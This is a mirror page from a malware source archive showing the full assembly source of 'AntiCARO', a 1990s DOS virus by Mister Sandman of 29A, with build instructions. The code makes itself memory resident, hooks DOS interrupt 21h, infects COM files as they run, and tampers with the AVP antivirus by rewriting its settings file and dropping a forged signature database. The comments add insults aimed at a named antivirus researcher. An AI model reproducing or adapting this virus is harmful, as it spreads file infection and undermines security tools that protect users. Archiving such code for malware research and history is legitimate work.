mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
463 lines
19 KiB
NASM
463 lines
19 KiB
NASM
;
|
|
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
|
; AntiCARO ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
|
; by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
|
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
|
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
|
;
|
|
; As i don't agree with CARO and with the way the name viruses, and spe-
|
|
; cially the way they *misnamed* VLAD's Bizatch, i decided to write this
|
|
; virus... just to protest against the biggest dickhead under the sun,
|
|
; Vesselin Bonchev, the virus-baptizer who does whatever he wants making
|
|
; abuse of his 'power' in that fucking sect named CARO.
|
|
;
|
|
; And as i know that, albeit he works at Frisk, his favourite AV is AVP,
|
|
; i just took the decission to write this baby, which will modify AVP so
|
|
; it will detect Bizatch as 'Bizatch_:P' and not as Boza.
|
|
;
|
|
; The virus is lame as hell (but i swear i wasn't able to reach Ratboy's
|
|
; or YAM's coding skills)... i only developed its originality. Anyway,
|
|
; it's interesting to see how does it modify AVP:
|
|
;
|
|
; It looks for AVP.SET in the current directory it's being loaded from.
|
|
; If it finds that file, it will insert a new viral database in the se-
|
|
; cond field, and later it will drop that new database, which contains
|
|
; the data needed for detecting Bizatch from AVP (have a look at the co-
|
|
; de, which is found at the end of this virus).
|
|
;
|
|
; As this new viral database has been loaded before the rest of the
|
|
; other databases (except of KERNEL.AVB, which must be always loaded in
|
|
; the first place), it will be the first one containing Bizatch's search
|
|
; strings, so it will be the fortunate participant to show the name of
|
|
; the virus it has detected :)
|
|
;
|
|
; About the virus itself, as i told before, it's a lame TSR COM infec-
|
|
; tor which hits files on execution (4b00h) and uses SFTs for performing
|
|
; the file infection.
|
|
;
|
|
; This virus is dedicated to my friends Quantum and Qark (ex VLAD) for
|
|
; obvious reasons and to Tcp/29A because of his help on its writing.
|
|
;
|
|
; Compiling instructions:
|
|
;
|
|
; tasm /m anticaro.asm
|
|
; tlink anticaro.obj
|
|
; exe2bin anticaro.exe anticaro.com
|
|
|
|
|
|
anticaro segment byte public
|
|
assume cs:anticaro,ds:anticaro
|
|
org 0
|
|
|
|
anticaro_start label byte
|
|
anticaro_size equ anticaro_end-anticaro_start
|
|
|
|
entry_point: call delta_offset
|
|
delta_offset: pop bp ; Get ë-offset
|
|
sub bp,offset delta_offset ; for l8r use
|
|
|
|
mov ax,3d02h ; Try to open AVP.SET
|
|
lea dx,[bp+avp_set] ; if it's found in the
|
|
int 21h ; current directory
|
|
jc mem_res_check
|
|
|
|
xchg bx,ax
|
|
mov ah,3fh ; Read the whole file
|
|
mov cx,29Ah ;-)
|
|
lea dx,[bp+anticaro_end]
|
|
int 21h
|
|
push ax
|
|
|
|
mov ax,4200h ; Lseek to the second
|
|
xor cx,cx ; line (first must
|
|
mov dx,0ch ; be always KERNEL.AVB)
|
|
int 21h
|
|
|
|
mov ah,40h ; Truncate file from
|
|
xor cx,cx ; current offset
|
|
int 21h
|
|
|
|
mov ah,40h ; Write our viral
|
|
mov cx,0dh ; database name
|
|
lea dx,[bp+bizatch_name] ; (BIZATCH.AVB) as
|
|
int 21h ; second field
|
|
|
|
mov ah,40h ; And write the rest
|
|
pop cx ; of the original
|
|
sub cx,0ch ; AVP.SET we read b4
|
|
lea dx,[bp+anticaro_end+0ch] ; to our buffer
|
|
int 21h
|
|
|
|
mov ah,3eh ; Close file
|
|
int 21h
|
|
|
|
mov ah,3ch ; Create the new viral
|
|
xor cx,cx ; database (BIZATCH.AVB)
|
|
lea dx,[bp+bizatch_base] ; which contains Bizatch's
|
|
int 21h ; detection data
|
|
|
|
xchg bx,ax
|
|
mov ah,40h ; Write the database
|
|
mov cx,base_size ; contents in the new
|
|
lea dx,[bp+bizatch_avb] ; created file
|
|
int 21h
|
|
|
|
mov ah,3eh ; Close file
|
|
int 21h
|
|
|
|
mem_res_check: mov ax,'CA' ; Check if we're already
|
|
mov bx,'RO' ; memory resident
|
|
int 21h
|
|
|
|
cmp ax,'SU' ; Coolio residency
|
|
cmp bx,'X!' ; check... CARO SUX! :P
|
|
je nothing_to_do
|
|
|
|
install: mov ax,es
|
|
dec ax
|
|
mov ds,ax ; Program's MCB segment
|
|
xor di,di
|
|
|
|
cmp byte ptr ds:[di],'Y' ; Is it a Z block?
|
|
jna nothing_to_do
|
|
|
|
sub word ptr ds:[di+3],((anticaro_size/10h)+2)
|
|
sub word ptr ds:[di+12h],((anticaro_size/10h)+2)
|
|
add ax,word ptr ds:[di+3]
|
|
inc ax
|
|
|
|
mov ds,ax
|
|
mov byte ptr ds:[di],'Z' ; Mark block as Z
|
|
mov word ptr ds:[di+1],8 ; System memory
|
|
mov word ptr ds:[di+3],((anticaro_size/10h)+1)
|
|
mov word ptr ds:[di+8],4f44h ; Mark block as owned
|
|
mov word ptr ds:[di+0ah],0053h ; by DOS (44h-4fh-53h,0)
|
|
inc ax
|
|
|
|
cld
|
|
push cs
|
|
pop ds
|
|
mov es,ax ; Copy virus to memory
|
|
mov cx,anticaro_size
|
|
lea si,[bp+anticaro_start]
|
|
rep movsb
|
|
|
|
push ds
|
|
mov ds,cx
|
|
mov es,ax ; Save int 21h's
|
|
mov si,21h*4 ; original vector
|
|
lea di,old_int_21h+1
|
|
movsw
|
|
movsw
|
|
|
|
mov word ptr [si-4],offset new_int_21h
|
|
mov word ptr [si-2],ax ; Set ours
|
|
|
|
pop ds
|
|
push ds ; CS=DS=ES
|
|
pop es
|
|
|
|
nothing_to_do: lea si,[bp+host_header] ; Restore host's header
|
|
mov di,100h ; and jump to cs:100h
|
|
push di ; for running it
|
|
movsw
|
|
movsw
|
|
ret
|
|
|
|
; ÄÄ´ note_to_stupid_avers ;) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
copyright db 0dh,0ah,'[AntiCARO, by Mister Sandman/29A]',0dh,0ah
|
|
db 'Please note: the name of this virus is [AntiCARO] '
|
|
db 'written by Mister Sandman of 29A... but... dear '
|
|
db 'Bontchy... name it however *you* (and not CARO) want,'
|
|
db ' as usual; we just don''t mind your childish '
|
|
db 'stupidity :)',0dh,0ah
|
|
|
|
; ÄÄ´ AntiCARO's int 21h handler ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
new_int_21h: cmp ax,'CA' ; Residency check
|
|
jnz execution? ; Are they asking my
|
|
cmp bx,'RO' ; opinion about CARO?
|
|
jnz execution?
|
|
|
|
mov ax,'SU' ; Ok, CARO SUX! :P
|
|
mov bx,'X!'
|
|
iret
|
|
|
|
execution?: cmp ax,4b00h ; This is the moment
|
|
je check_name ; we were waiting for ;)''
|
|
|
|
old_int_21h: db 0eah ; jmp xxxx:xxxx
|
|
dw 0,0 ; Original int 21h
|
|
|
|
; ÄÄ´ Infection routines ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
check_name: push ax bx cx dx ; Push all this shit
|
|
push si di ds es ; and clear direction
|
|
cld ; flag
|
|
|
|
mov ax,3d00h ; Open the file is
|
|
int 21h ; about to be executed
|
|
|
|
xchg bx,ax
|
|
call get_sft ; Get its SFT
|
|
jc dont_infect ; Shit... outta here
|
|
|
|
push cs ; CS=DS
|
|
pop ds
|
|
|
|
mov ax,word ptr es:[di+28h] ; Check extension
|
|
cmp ax,'OC' ; There aren't too many
|
|
je check_file ; 'COx' executables
|
|
; besides COMs, right? :)
|
|
|
|
dont_infect: pop es ds di si ; Pop out registers and
|
|
pop dx cx bx ax ; jmp to the original
|
|
jmp old_int_21h ; int 21h handler
|
|
|
|
check_file: xor al,al ; Clear and save file
|
|
xchg al,byte ptr es:[di+4] ; attributes
|
|
push ax
|
|
|
|
mov word ptr es:[di+2],2 ; Set read/write mode
|
|
|
|
mov ah,3fh ; Read first four
|
|
mov cx,4 ; bytes to our buffer
|
|
lea dx,host_header
|
|
int 21h
|
|
|
|
mov ax,word ptr host_header ; First word in AX
|
|
add al,ah ; M+Z or Z+M=0a7h :)
|
|
cmp al,0a7h ; So is it an EXE file?
|
|
je close_file ; Fuck it
|
|
|
|
cmp byte ptr host_header+3,90h ; Check file for any
|
|
je close_file ; previous infection
|
|
|
|
mov ax,word ptr es:[di+11h] ; Check file length
|
|
cmp ax,0faebh ; > 64235?
|
|
ja close_file
|
|
|
|
push ax ; Save length
|
|
sub ax,3 ; Make the initial
|
|
mov word ptr new_header+1,ax ; jmp to our code
|
|
|
|
mov word ptr es:[di+15h],0 ; Lseek to the start
|
|
|
|
mov ah,40h ; Write in our cooler
|
|
mov cx,4 ; header :)
|
|
lea dx,new_header
|
|
int 21h
|
|
|
|
pop ax ; Lseek to the end
|
|
mov word ptr es:[di+15h],ax ; of the file
|
|
|
|
mov ah,40h ; Append our code
|
|
mov cx,anticaro_size ; Huh? where's the
|
|
lea dx,anticaro_start ; call to the poly
|
|
int 21h ; engine? :)
|
|
|
|
close_file: mov ah,3eh ; Close our victim
|
|
int 21h
|
|
|
|
pop ax ; Restore attributes
|
|
mov byte ptr es:[di+4],al ; Pop shit and jump
|
|
jmp dont_infect ; to the original int 21h
|
|
|
|
; ÄÄ´ Subroutines... or... oh, well, subroutine :) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
get_sft: push ax bx
|
|
mov ax,1220h ; Get job file table
|
|
int 2fh ; in ES:DI (DOS 3+)
|
|
jc bad_sft
|
|
|
|
xor bx,bx ; Get the address of
|
|
mov ax,1216h ; the specific SFT for
|
|
mov bl,byte ptr es:[di] ; our handle
|
|
int 2fh
|
|
|
|
bad_sft: pop bx ax ; Pop registers and
|
|
ret ; return to the code
|
|
|
|
; ÄÄ´ Data area ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
host_header db 0cdh,20h,90h,90h ; Host's header
|
|
new_header db 0e9h,?,?,90h ; New header buffer
|
|
avp_set db 'avp.set',0 ; Can't you guess it? :)
|
|
bizatch_name db 'BIZATCH.AVB',0dh,0ah ; Our database field
|
|
bizatch_base db 'bizatch.avb',0 ; Viral database name
|
|
|
|
; ÄÄ´ BIZATCH.AVB viral database ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
;
|
|
; The hex dump below is the AVP full-compatible viral database which con-
|
|
; tains the necessary data for detecting Bizatch. This was done by compi-
|
|
; ling the 'belower' code, linking it to a new AVPRO record, and filling
|
|
; out some of this record's data fields. These are the steps:
|
|
;
|
|
; - Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm.
|
|
; - Execute AVP's AVPRO.EXE.
|
|
; - Edit a new viral dabase (Alt-E, F3, and then type 'bizatch.avb').
|
|
; - Insert a file record in it (Alt-I, and then select 'File virus').
|
|
; - Fill the form as follows:
|
|
;
|
|
; ÉÍ[þ]ÍÍÍÍÍÍÍÍÍÍÍ File virus ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
|
; º Name: Bizatch_:P Type [ ] COM º
|
|
; º Comment: Fuck you, Bontchy [X] EXE º
|
|
; º [ ] SYS º
|
|
; º Area 1 Header [ ] WIN º
|
|
; º Offset 0000 º
|
|
; º Length 00 Method Delete º
|
|
; º Area 2 Page_C Area Header º
|
|
; º Offset 0000 From +0000 º
|
|
; º Length 0a Length +0000 º
|
|
; º To +0000 º
|
|
; > º Link Ü +0000 º
|
|
; º ßßßßßß Cut 0000 º
|
|
; > º Sum Ü 00000000 º
|
|
; º ßßßßßß 00000000 º
|
|
; º º
|
|
; º Ok Ü Cancel Ü º
|
|
; º ßßßßßßßßßß ßßßßßßßßßß º
|
|
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
|
;
|
|
; - Link biz_dec.obj (Alt-L, and then select it).
|
|
; - Type in Bizatch's entry point for calculating its sum (Alt-S, don't
|
|
; select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the
|
|
; dump gap AVPRO will show you.
|
|
; - Save the new record and the new viral database.
|
|
;
|
|
; As you see, this is quite tedious to do, and that's why i included di-
|
|
; rectly the hex dump of the result of all these steps, which seems to me
|
|
; a bit more easy for you :)
|
|
;
|
|
; So skip the hex dump and have a look at biz_dec.asm's code, which is the
|
|
; really important thing of this virus.
|
|
|
|
|
|
base_start label byte
|
|
base_size equ base_end-base_start-3
|
|
bizatch_avb db 2dh,56h,0c2h,00h,00h,00h,00h,01h,0cch,07h,04h
|
|
db 0bh,0cch,07h,10h,0bh,00h,00h,01h,00h,00h,00h,00h
|
|
db 00h,0dh,0ah,41h,6eh,74h,69h,76h,69h,72h,61h,6ch
|
|
db 20h,54h,6fh,6fh,6ch,4bh,69h,74h,20h,50h,72h,6fh
|
|
db 0dh,0ah,20h,62h,79h,20h,45h,75h,67h,65h,6eh,65h
|
|
db 20h,4bh,61h,73h,70h,65h,72h,73h,6bh,79h,20h,0dh
|
|
db 0ah,28h,63h,29h,4bh,41h,4dh,49h,20h,43h,6fh,72h
|
|
db 70h,2eh,2ch,20h,52h,75h,73h,73h,69h,61h,20h,31h
|
|
db 39h,39h,32h,2dh,31h,39h,39h,35h,2eh,0dh,0ah,50h
|
|
db 72h,6fh,67h,72h,61h,6dh,6dh,65h,72h,73h,3ah,0dh
|
|
db 0ah,41h,6ch,65h,78h,65h,79h,20h,4eh,2eh,20h,64h
|
|
db 65h,20h,4dh,6fh,6eh,74h,20h,64h,65h,20h,52h,69h
|
|
db 71h,75h,65h,2ch,0dh,0ah,45h,75h,67h,65h,6eh,65h
|
|
db 20h,56h,2eh,20h,4bh,61h,73h,70h,65h,72h,73h,6bh
|
|
db 79h,2ch,0dh,0ah,56h,61h,64h,69h,6dh,20h,56h,2eh
|
|
db 20h,42h,6fh,67h,64h,61h,6eh,6fh,76h,2eh,0dh,0ah
|
|
db 0dh,0ah,00h,0dh,0ah,38h,00h,00h,00h,10h,00h,42h
|
|
db 69h,7ah,61h,74h,63h,68h,5fh,3ah,50h,00h,00h,00h
|
|
db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,03h
|
|
db 00h,00h,0ah,0fh,0feh,0ffh,0ffh,01h,00h,00h,00h,00h
|
|
db 00h,00h,00h,0ch,00h,00h,00h,00h,00h,00h,00h,00h,00h
|
|
db 00h,00h,00h,00h,0dh,01h,12h,00h,00h,00h,46h,75h,63h
|
|
db 6bh,20h,79h,6fh,75h,2ch,20h,42h,6fh,6eh,74h,63h,68h
|
|
db 79h,00h,0dh,02h,01h,01h,00h,00h,98h,07h,00h,28h,86h
|
|
db 00h,02h,03h,01h,0adh,8ch,21h,00h,07h,5fh,50h,61h
|
|
db 67h,65h,5fh,43h,00h,07h,5fh,48h,65h,61h,64h,65h
|
|
db 72h,00h,05h,5fh,53h,65h,65h,6bh,00h,05h,5fh,52h
|
|
db 65h,61h,64h,00h,53h,90h,0eh,00h,00h,01h,07h,5fh
|
|
db 64h,65h,63h,6fh,64h,65h,00h,00h,00h,97h,0a0h,8ah
|
|
db 00h,01h,00h,00h,1eh,55h,0bdh,00h,00h,8eh,0ddh,0c4h
|
|
db 3eh,00h,00h,26h,8bh,6dh,3ch,33h,0c0h,50h,55h,9ah
|
|
db 00h,00h,00h,00h,58h,58h,0c4h,3eh,00h,00h,0b8h,0f8h
|
|
db 00h,50h,06h,57h,9ah,00h,00h,00h,00h,83h,0c4h,06h
|
|
db 0c4h,3eh,00h,00h,26h,81h,3dh,50h,45h,75h,29h,26h
|
|
db 8bh,4dh,06h,51h,0b8h,28h,00h,50h,06h,57h,9ah,00h
|
|
db 00h,00h,00h,83h,0c4h,06h,59h,0c4h,3eh,00h,00h,26h
|
|
db 81h,3dh,76h,6ch,75h,08h,26h,81h,7dh,02h,61h,64h
|
|
db 74h,07h,0e2h,0dbh,33h,0c0h,5dh,1fh,0cbh,26h,0c4h
|
|
db 7dh,14h,06h,57h,9ah,00h,00h,00h,00h,58h,58h,0c4h
|
|
db 3eh,00h,00h,0b8h,0ah,00h,50h,06h,57h,9ah,00h,00h
|
|
db 00h,00h,83h,0c4h,06h,0ebh,0dah,9ah,9ch,2dh,00h
|
|
db 0c8h,03h,56h,02h,0c4h,09h,56h,02h,0cch,14h,56h
|
|
db 03h,0c4h,1ch,56h,01h,0cch,25h,56h,04h,0c4h,2eh
|
|
db 56h,01h,0cch,43h,56h,04h,0c4h,4dh,56h,01h,0cch
|
|
db 6ch,56h,03h,0c4h,74h,56h,01h,0cch,7dh,56h,04h,57h
|
|
db 8ah,02h,00h,00h,74h
|
|
base_end label byte
|
|
|
|
; ÄÄ´ Bizatch's detection code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
;
|
|
; biz_dec segment byte public 'code'
|
|
; assume cs:biz_dec;ds:biz_dec;es:biz_dec;ss:biz_dec
|
|
;
|
|
; _decode proc far
|
|
; push ds bp
|
|
; mov bp,seg _Header ; Get AVP's data segment
|
|
; mov ds,bp
|
|
;
|
|
; les di,_Header ; Get pointer to header
|
|
; mov bp,word ptr es:[di+3ch] ; Get PE header offset
|
|
; xor ax,ax
|
|
;
|
|
; push ax bp
|
|
; call far ptr _Seek ; Lseek to PE header
|
|
; pop ax ax ; Remove 2 words from stack
|
|
;
|
|
; les di,_Page_C ; Destination=buffer
|
|
; mov ax,0f8h ; Size=f8h bytes
|
|
;
|
|
; push ax es di ; Read f8h bytes from
|
|
; call far ptr _Read ; the PE header
|
|
;
|
|
; add sp,6 ; Remove 3 words from stack
|
|
; les di,_Page_C ; The call changes ES
|
|
; cmp word ptr es:[di],'EP' ; Portable Executable?
|
|
; jne back_to_avp
|
|
;
|
|
; mov cx,word ptr es:[di+6] ; Objects number
|
|
; next_entry: push cx
|
|
;
|
|
; mov ax,28h ; Length of each
|
|
; push ax es di ; object table entry
|
|
; call far ptr _Read ; Read object
|
|
;
|
|
; add sp,6 ; Remove 3 words from stack
|
|
; pop cx
|
|
; les di,_Page_C ; Point to our buffer
|
|
; cmp word ptr es:[di],'lv' ; vl(ad) object?
|
|
; jne search_loop
|
|
;
|
|
; cmp word ptr es:[di],'da' ; (vl)ad object?
|
|
; je lseek_object ; Bingo! :)
|
|
;
|
|
; search_loop: loop next_entry ; Process next object
|
|
;
|
|
; back_to_avp: xor ax,ax ; R_CLEAN==0
|
|
; pop bp ds ; Return to AVP
|
|
; retf
|
|
;
|
|
; lseek_object: les di,dword ptr es:[di+14h] ; Lseek to the object
|
|
; push es di ; physical offset
|
|
; call far ptr _Seek
|
|
;
|
|
; pop ax ax
|
|
; mov ax,0ah ; Read ten bytes to
|
|
; les di,_Page_C ; our buffer (page C)
|
|
; push ax es di
|
|
; call far ptr _Read
|
|
;
|
|
; add sp,6 ; And now AVP will compare
|
|
; jmp back_to_avp ; those ten bytes with
|
|
; _decode endp ; Bizatch's search string
|
|
; biz_decode ends
|
|
;
|
|
; public _decode
|
|
; extrn _Page_C:dword ; External AVP's API
|
|
; extrn _Header:dword ; functions and buffers
|
|
; extrn _Seek:far ; (lseek, read, header,
|
|
; extrn _Read:far ; read buffer...)
|
|
; end
|
|
|
|
anticaro_end label byte
|
|
anticaro ends
|
|
end anticaro_start
|